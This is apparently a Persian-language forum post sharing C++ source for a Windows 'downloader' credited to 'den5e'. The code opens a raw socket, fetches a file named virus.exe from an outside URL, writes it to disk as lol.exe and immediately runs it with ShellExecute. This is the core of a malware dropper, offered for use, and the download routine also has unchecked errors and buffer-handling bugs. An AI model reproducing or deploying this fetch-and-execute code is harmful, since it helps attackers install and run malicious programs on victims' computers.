سورس کد دانلودر(سی پلاس پلاس)

کد:
// Downloader by den5e // 



#include "stdafx.h" 



#include <windows.h> 



#include <iostream> 



#include <string> 



 



using namespace std; 



 



#define BUFFERSIZE 4096 



 



bool DownloadFile(string url, LPCSTR filename); 



 



int _tmain(int argc, _TCHAR* argv[]) 



{ 



    // Download file // 



    DownloadFile("http://www.link.com/folder/virus.exe", "lol.exe"); 



    // Run it // 



    ShellExecute(NULL, L"open", L"lol.exe", NULL, NULL, 5); 



 



    return 0; 



} 



 



bool DownloadFile(string url, LPCSTR filename){ 



    string request; // HTTP Header // 



 



    char buffer[BUFFERSIZE]; 



    struct sockaddr_in serveraddr; 



    int sock; 



 



    WSADATA wsaData; 



    int port = 80; 



 



    // Strip out http:// if there // 



    if(url.find("http://") != -1){ 



        string temp = url; 



        url = temp.substr(url.find("http://") + 7); 



    } 



 



    // Separate host and file location // 



    int dm = url.find("/"); 



    string file = url.substr(dm); 



    string shost = url.substr(0, dm); 



 



    // Generate HTTP header // 



    request += "GET " + file + " HTTP/1.0\r\n"; 



    request += "Host: " + shost + "\r\n"; 



    request += "\r\n"; 



 



    if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0) 



        return FALSE; 



 



    if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 



        return FALSE; 



 



    memset(&serveraddr, 0, sizeof(serveraddr)); 



 



    // Ge host ip address // 



    hostent *record = gethostbyname(shost.c_str()); 



    in_addr *address = (in_addr * )record->h_addr; 



    string ipd = inet_ntoa(* address); 



    const char *ipaddr = ipd.c_str(); 



 



    serveraddr.sin_family = AF_INET; 



    serveraddr.sin_addr.s_addr = inet_addr(ipaddr); 



    serveraddr.sin_port = htons(port); 



 



    if (connect(sock, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0) 



        return FALSE; 



 



    if (send(sock, request.c_str(), request.length(), 0) != request.length()) 



        return FALSE; 



 



    int nRecv, npos; 



    nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0); 



 



    // Get end position of header // 



    string str_buff = buffer; 



    npos = str_buff.find("\r\n\r\n"); 



 



    // Open file at beginning // 



    HANDLE hFile; 



    hFile = CreateFileA(filename, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 



    SetFilePointer(hFile, 0, NULL, FILE_BEGIN); 



 



    // Downloading until nRecv <= 0 // 



    DWORD ss; 



    while((nRecv > 0) && (nRecv != INVALID_SOCKET)){ 



        if(npos > 0){ 



            char bf[BUFFERSIZE]; 



            // Copy from buffer from end position of http header // 



            memcpy(bf, buffer + (npos + 4), nRecv - (npos + 4)); 



            WriteFile(hFile, bf,nRecv - (npos + 4), &ss, NULL); 



        }else{ 



            // If no header found, write as normal // 



            WriteFile(hFile, buffer, nRecv, &ss, NULL); 



        } 



 



        // Empty the buffer and start again // 



        ZeroMemory(&buffer, sizeof(buffer)); 



        nRecv = recv(sock, (char*)&buffer, BUFFERSIZE, 0); 



        str_buff = buffer; 



        npos = str_buff.find("\r\n\r\n"); 



    } 



 



    // Close connection and handle // 



    CloseHandle(hFile); 



    closesocket(sock); 



    WSACleanup(); 



 



    return TRUE; 



}